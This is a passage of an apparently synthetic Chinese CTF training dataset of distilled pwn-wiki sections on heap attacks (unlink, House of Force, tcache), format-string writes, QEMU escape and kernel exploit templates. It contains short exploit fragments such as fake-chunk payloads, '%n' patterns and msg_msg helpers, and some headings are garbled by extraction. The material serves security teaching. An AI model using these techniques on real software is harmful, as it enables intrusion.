r.sendline(\"3\") r.recvuntil(\":\") r.sendline(str(idx)) r.recvuntil(\":\") r.sendline(str(length)) r.recvuntil(\":\") r.sendline(name)\n- def remove(idx): r.recvuntil(\":\") r.sendline(\"4\") r.recvuntil(\":\") r.sendline(str(idx))\n- def show(): r.recvuntil(\":\") r.sendline(\"1\")\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 565, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "-- coding: utf-8 --", "heading_path": ["-- coding: utf-8 --"], "original_id": "docs-efa91c49f4a0eb121f21", "original_line": 983, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-force.md", "source_root": "docs", "source_sha256": "27e5d508f1506ce1b54b9cd5ee0beed81d03242b5dc58c99c27d5a4a84d6cfa9", "split": "train", "split_group_key": "707b337ee7963ce8b2f62a70", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap"], "title": "House Of Force"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-force.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-ec439f45242614041dc6", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md` 中的章节「基本信息」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md`\n标题：Unlink\n章节：get shell > 2017 insomni'hack wheelofrobots > 基本信息\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基本信息”展开。\n- ``shell ➜ 2017_insomni'hack_wheelofrobots git:(master) file wheelofrobots wheelofrobots: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=48a9cceeb7cf8874bc...\n\n关键术语：\n- 堆\n- 栈\n- pwn\n- linux\n- user-mode\n- heap\n- code:shell\n\n代码/命令片段线索：\n- shell: 9 行，首行 `➜ 2017_insomni'hack_wheelofrobots git:(master) file wheelofrobots`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 607, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "基本信息", "heading_path": ["get shell", "2017 insomni'hack wheelofrobots", "基本信息"], "original_id": "docs-2ecba3001e968f75ba7d", "original_line": 1088, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unlink.md", "source_root": "docs", "source_sha256": "c6a924469168a8cbe0822d2807b6d6c4037af2ee0bd17384b59dcb6fdb0c90ee", "split": "train", "split_group_key": "3526936749dcb21e2ee3c5e6", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "栈", "pwn", "linux", "user-mode", "heap", "code:shell"], "title": "Unlink"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unlink.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-ec625b2bb17a814f780d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/tcache.md` 中的章节「基本工作方式」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/tcache.md`\n标题：tcache\n章节：define TCACHE_MAX_BINS 64 > 基本工作方式\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基本工作方式”展开。\n- 第一次 malloc 时，会先 malloc 一块内存用来存放 tcache_perthread_struct 。\n- 因此 chunk 在 bin 中和 tcache 中的顺序会反过来\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 563, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "基本工作方式", "heading_path": ["define TCACHE_MAX_BINS 64", "基本工作方式"], "original_id": "docs-b4a1774a162d0ee0c1b8", "original_line": 1182, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/tcache.md", "source_root": "docs", "source_sha256": "4de68a9fa4b9401f8336e24b35eadac2ba7ac5f85ff862f309421b9ce8c82db8", "split": "train", "split_group_key": "7e1f51604eea6079c244a765", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap"], "title": "tcache"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/tcache.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-edeb2ac67cfe139b5d50", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/stackoverflow-basic.md` 中的章节「寻找危险函数」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/stackoverflow-basic.md`\n标题：栈溢出原理\n章节：栈溢出原理 > 小总结 > 寻找危险函数\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 通过寻找危险函数，我们快速确定程序是否可能有栈溢出，以及有的话，栈溢出的位置在哪里。\n- 常见的危险函数如下 - 输入 - gets，直接读取一行，忽略'\\x00' - scanf - vscanf - 输出 - sprintf - 字符串 - strcpy，字符串复制，遇到'\\x00'停止 - strcat，字符串拼接，遇到'\\x00'停止 - bcopy\n\n关键术语：\n- 边界/溢出\n- 栈\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 185, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "寻找危险函数", "heading_path": ["栈溢出原理", "小总结", "寻找危险函数"], "original_id": "docs-59988cfba3fd48668731", "original_line": 69, "original_split": "validation", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/stackoverflow-basic.md", "source_root": "docs", "source_sha256": "dec6be57e088905459cdd2d04532f6b0f33adf6c4086ebc03869863fd0640063", "split": "train", "split_group_key": "aae394d2aff1e781c42488d1", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "pwn", "linux", "user-mode", "stackoverflow"], "title": "栈溢出原理"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/stackoverflow-basic.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-ee195bfb3c744be26c9b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md` 中的章节「确定偏移」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md`\n标题：例子\n章节：例子 > 64位程序格式化字符串漏洞 > 例子 > 确定偏移\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“确定偏移”展开。\n- 当然，我们还有更简单的方法利用 https://github.com/scwuaptx/Pwngdb 中的 fmtarg 来判断某个参数的偏移。\n- ) ──────────────────────────────────────────────────────────────────────────────[ trace ]──── [#0] 0x7ffff7a62800 → Name: __printf(format=0x602830 \"123456\") [#1] 0x400890 → Name: main() ───────────────────────────────────────────────────────────────────────...\n- 我们在 printf 处下偏移如下,这里只关注代码部分与栈部分。\n- `shell gef➤ fmtarg 0x00007fffffffdb28 The index of format argument : 10 `` 需要注意的是我们必须 break 在 printf 处。\n- 而 fmt 字符串中 %order$s 对应的 order 为 fmt 字符串后面的参数的顺序，所以我们只需要输入 %9$s 即可得到 flag 的内容。\n\n关键术语：\n- 栈\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- fmtstr\n- code:shell\n\n代码/命令片段线索：\n- shell: 32 行，首行 `gef➤ b printf`\n- shell: 2 行，首行 `gef➤ fmtarg 0x00007fffffffdb28`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1994, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "确定偏移", "heading_path": ["例子", "64位程序格式化字符串漏洞", "例子", "确定偏移"], "original_id": "docs-92f9529e491a717f7235", "original_line": 857, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "source_root": "docs", "source_sha256": "d526df47868271160568cb01971c9633d988d9cb048751897540a339b9e018a0", "split": "train", "split_group_key": "ebfb14a6f36fc3dd9791b816", "subcategory": "pwn/linux/user-mode", "terms": ["栈", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "fmtstr", "code:shell"], "title": "例子"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-ee61bf2a2552de9c04e8", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md` 中的章节「基本功能」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md`\n标题：Unsorted Bin Attack\n章节：Unsorted Bin Attack > HITCON Training lab14 magic heap > 基本功能\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基本功能”展开。\n- 根据指定的索引判断对应堆是不是非空，如果非空，就根据用户读入的大小，来修改堆的内容，这里其实就出现了任意长度堆溢出的漏洞。\n- 程序大概就是自己写的堆管理器，主要有以下功能 1. 创建堆。\n- 根据用户指定大小申请相应堆，并且读入指定长度的内容，但是并没有设置 NULL。\n- 根据指定的索引判断对应堆是不是非空，如果非空，就将对应堆释放并置为 NULL。\n- 同时，我们看到，当我们控制 v3 为 4869，同时控制 magic 大于 4869，就可以得到 flag 了。\n\n关键术语：\n- 边界/溢出\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 244, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "基本功能", "heading_path": ["Unsorted Bin Attack", "HITCON Training lab14 magic heap", "基本功能"], "original_id": "docs-8cdd4d530a57e8ea42d3", "original_line": 1106, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md", "source_root": "docs", "source_sha256": "c2ba53ae053f8100dfd6c9f4174e9fdafca0b7e6ad07e6279865c89a5f082052", "split": "train", "split_group_key": "01ba2f1d17cc7934b39d5d7f", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "Unsorted Bin Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unsorted-bin-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-ee687ad580744a4c6880", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-exploit.md` 中的章节「覆盖内存」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-exploit.md`\n标题：利用\n章节：利用 > 覆盖内存\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“覆盖内存”展开。\n- ` 通过这个类型参数，再加上一些小技巧，我们就可以达到我们的目的，这里仍然分为两部分，一部分为覆盖栈上的变量，第二部分为覆盖指定地址的变量。\n- 上面，我们已经展示了如何利用格式化字符串来泄露栈内存以及任意地址内存，那么我们有没有可能修改栈上变量的值呢，甚至修改任意地址变量的内存呢?\n- 答案是可行的，只要变量对应的地址可写，我们就可以利用格式化字符串来修改其对应的数值。\n- ` c / example/overflow/overflow.c / #include  int a = 123, b = 456;\n- 而无论是覆盖哪个地址的变量，我们基本上都是构造类似如下的payload `text ...[overwrite addr]....%[overwrite offset]$n `` 其中...表示我们的填充内容，overwrite addr 表示我们所要覆盖的地址，overwrite offset地址表示我们所要覆盖的地址存储的位置为输出函数的格式化字符串的第几个参数。\n\n关键术语：\n- 边界/溢出\n- 栈\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- fmtstr\n\n代码/命令片段线索：\n- plain: 1 行，首行 `%n,不输出字符，但是把已经成功输出的字符个数写入对应的整型指针参数所指的变量。`\n- plain: 1 行，首行 `makefile在对应的文件夹中。而无论是覆盖哪个地址的变量，我们基本上都是构造类似如下的payload`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 884, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "覆盖内存", "heading_path": ["利用", "覆盖内存"], "original_id": "docs-b686058b7255b7c2397b", "original_line": 893, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-exploit.md", "source_root": "docs", "source_sha256": "040fbecb96f4b30ec8b6ecd0a6bc6afea827abf093eada8b549d44dab3c550e7", "split": "train", "split_group_key": "be8016103ac676479c826b31", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "fmtstr"], "title": "利用"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "introduction", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-eeece7fce9bb5196ff48", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/introduction/cgc.md` 中的章节「CGC 超级挑战赛」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/introduction/cgc.md`\n标题：CGC 超级挑战赛\n章节：CGC 超级挑战赛\n路径分类：introduction / introduction/cgc.md\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“CGC 超级挑战赛”展开。\n- > 本节内容摘自李康教授于 2016 年 8 月 17 日 ISC 互联网安全大会演讲《网络超级挑战赛中的漏洞发掘与利用》。\n- 其中包含 28 个堆溢出漏洞、24 个栈溢出漏洞、16 个空指针访问漏洞、13 个整数溢出漏洞和 8 个 UAF 漏洞。\n- 攻防过程由组织方发出挑战程序，各团队服务器可以向组织方提供补丁程序，防火墙规则和攻击程序。\n- 考验机器自动漏洞挖掘、自动软件加固、自动漏洞利用和自动网络防护水平。\n- 组织方为每个团队运行挑战程序，进行服务测试和攻击并进行评估。\n\n关键术语：\n- UAF\n- 边界/溢出\n- 堆\n- 栈\n- 修复/缓解\n- 漏洞利用\n- cgc.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "introduction", "chars": 414, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "CGC 超级挑战赛", "heading_path": ["CGC 超级挑战赛"], "original_id": "docs-118c5d157458656104de", "original_line": 517, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "introduction/cgc.md", "source_root": "docs", "source_sha256": "48f28406031f770ce62432b1778904fee27dca0a8059a25e73ffbff6fe4f24f0", "split": "train", "split_group_key": "1a52faed02b1cc2d68423b4e", "subcategory": "introduction/cgc.md", "terms": ["UAF", "边界/溢出", "堆", "栈", "修复/缓解", "漏洞利用", "cgc.md"], "title": "CGC 超级挑战赛"}, "source_dataset": "docs_distilled_v1", "source_path": "introduction/cgc.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-eefdd80af1e0f602f33f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/virtualization/qemu/exploitation/intro.md` 中的章节「题目分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/virtualization/qemu/exploitation/intro.md`\n标题：QEMU 逃逸入门\n章节：QEMU 逃逸入门 > 例题：BlizzardCTF2017 - Strng > 题目分析\n路径分类：pwn / pwn/virtualization/qemu\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“题目分析”展开。\n- 若我们能够控制 (unsigned int )opaque[700] 的值，则可以直接完成一个越界读。\n- } ` PMIO 的 write 功能定义如下： - 若 addr == 0，则将传入的值写入 (unsigned int )opaque[700] ，因此结合 PMIO read 我们便可以完成越界读。\n- 首先查看启动脚本，可以发现其通过 -device strng 参数载入了一个自定义设备 strng。\n- // rax v1 = object_dynamic_cast_assert(obj, \"strng\", \"/home/rcvalle/qemu/hw/misc/strng.c\", 145, \"strng_instance_init\");\n- } void __fastcall pci_strng_realize(PCIDevice_0 pdev, Error_0 errp) { memory_region_init_io( (MemoryRegion_0 )&pdev[1], &pdev->qdev.parent_obj, &strng_mmio_ops, pdev, \"strng-mmio\", 0x100uLL);\n\n关键术语：\n- 边界/溢出\n- 漏洞利用\n- pwn\n- virtualization\n- qemu\n- exploitation\n- code:bash\n- code:c\n- code:ida\n\n代码/命令片段线索：\n- bash: 10 行，首行 `./qemu-system-x86_64 \\`\n- c: 27 行，首行 `void __fastcall strng_instance_init(Object_0 *obj)`\n- ida: 8 行，首行 `.text:000000000041033E call object_dynamic_cast_assert`\n- c: 8 行，首行 `uint64_t __fastcall strng_mmio_read(void *opaque, hwaddr addr, unsigned int size)`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 5134, "chunk_count": 1, "chunk_index": 0, "ctf_score": 34, "ctf_task_type": "pwn", "heading": "题目分析", "heading_path": ["QEMU 逃逸入门", "例题：BlizzardCTF2017 - Strng", "题目分析"], "original_id": "docs-0f8502c1aa3fd2ac22b4", "original_line": 1440, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/qemu/exploitation/intro.md", "source_root": "docs", "source_sha256": "f8edae8145f64459b4f5d57c8bc964a29898ad933446596b2896c97172be14e7", "split": "train", "split_group_key": "220758ab622a7134730574df", "subcategory": "pwn/virtualization/qemu", "terms": ["边界/溢出", "漏洞利用", "pwn", "virtualization", "qemu", "exploitation", "code:bash", "code:c", "code:ida"], "title": "QEMU 逃逸入门"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/qemu/exploitation/intro.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-ef19c66e9c10ff69037c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md` 中的章节「构造fake chunk」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md`\n标题：Unlink\n章节：zer0ptr @ zer0ptr-MateBook-D14 in ~/HITCON-Training/LAB/lab11 on git:master x [13:31:19] > 堆布局 > 构造fake chunk\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“构造fake chunk”展开。\n- ```python ptr = 0x6020c8 # chunk0 指针的存储位置\n- fake_chunk = p64(0) # fake chunk 的 prev_size fake_chunk += p64(0x41) # fake chunk 的 size (0x40 + 1) fake_chunk += p64(ptr - 0x18) # fd 指向 &global[2]-0x18 fake_chunk += p64(ptr - 0x10) # bk 指向 &global[2]-0x10 fake_chunk += b\"c\" * 0x20 # 填充到 chunk0 数据区末尾 fake...\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n- code:python\n\n代码/命令片段线索：\n- python: 8 行，首行 `ptr = 0x6020c8 # chunk0 指针的存储位置`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 409, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "构造fake chunk", "heading_path": ["zer0ptr @ zer0ptr-MateBook-D14 in ~/HITCON-Training/LAB/lab11 on git:master x [13:31:19]", "堆布局", "构造fake chunk"], "original_id": "docs-9a36a4cde760836ee3f7", "original_line": 1074, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unlink.md", "source_root": "docs", "source_sha256": "c6a924469168a8cbe0822d2807b6d6c4037af2ee0bd17384b59dcb6fdb0c90ee", "split": "train", "split_group_key": "2c063dbaae65f0a9126c80cb", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap", "code:python"], "title": "Unlink"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unlink.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-ef7a97729f5f4a00b4c0", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/basic-knowledge.md` 中的章节「Hardened Usercopy」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/basic-knowledge.md`\n标题：基础知识\n章节：基础知识 > Mitigation > 内核“堆”上保护机制 > Hardened Usercopy\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Hardened Usercopy”展开。\n- hardened usercopy 是用以在用户空间与内核空间之间拷贝数据时进行越界检查的一种防护机制，主要检查拷贝过程中对内核空间中数据的读写是否会越界： - 读取的数据长度是否超出源 object 范围。\n- 这一保护被用于 copy_to_user() 与 copy_from_user() 等数据交换 API 中，不过这种保护 _不适用于内核空间内的数据拷贝_ ，这也是目前主流的绕过手段。\n- 写入的数据长度是否超出目的 object 范围。\n\n关键术语：\n- 边界/溢出\n- pwn\n- linux\n- kernel-mode\n- basic-knowledge.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 234, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "Hardened Usercopy", "heading_path": ["基础知识", "Mitigation", "内核“堆”上保护机制", "Hardened Usercopy"], "original_id": "docs-db6ec0a91c19f7a677d3", "original_line": 651, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/basic-knowledge.md", "source_root": "docs", "source_sha256": "103d18a2b1d91a49bd2c2a041ed56ddd9dc84d20450319eb6f4ff9118cc83e6d", "split": "train", "split_group_key": "6a85ee311028b47bddbdb8b3", "subcategory": "pwn/linux/kernel-mode", "terms": ["边界/溢出", "pwn", "linux", "kernel-mode", "basic-knowledge.md"], "title": "基础知识"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/basic-knowledge.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-ef876b0d1a7d703a6fe9", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/introduction.md` 中的章节「常用代码模板」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/introduction.md`\n标题：简介\n章节：简介 > 常用代码模板\n路径分类：pwn / pwn/linux/kernel-mode\n分块：3/5\n\n核心知识点：\n- 本节主题围绕“常用代码模板”展开。\n- } / for MSG_COPY, msgtyp means to read no.msgtyp msg_msg on the queue / ssize_t peek_msg(int msqid, void msgp, size_t msgsz, long msgtyp) { return msgrcv(msqid, msgp, msgsz, msgtyp, MSG_COPY | IPC_NOWAIT | MSG_NOERROR);\n- } /* VII - ldt_struct related / / Somethings we may want to compile the exp binary with MUSL-GCC, which doesn't contain the asm/ldt.h file.\n- #define MODIFY_LDT_CONTENTS_DATA 0 #define MODIFY_LDT_CONTENTS_STACK 1 #define MODIFY_LDT_CONTENTS_CODE 2 #endif / !\n- } else { / parent */ wait(NULL);\n- } /* the msgp should be a pointer to the struct msgbuf, and the data should be stored in msgbuf.mtext / ssize_t write_msg(int msqid, void msgp, size_t msgsz, long msgtyp) { ((struct msgbuf)msgp)->mtype = msgtyp;\n\n关键术语：\n- 栈\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- 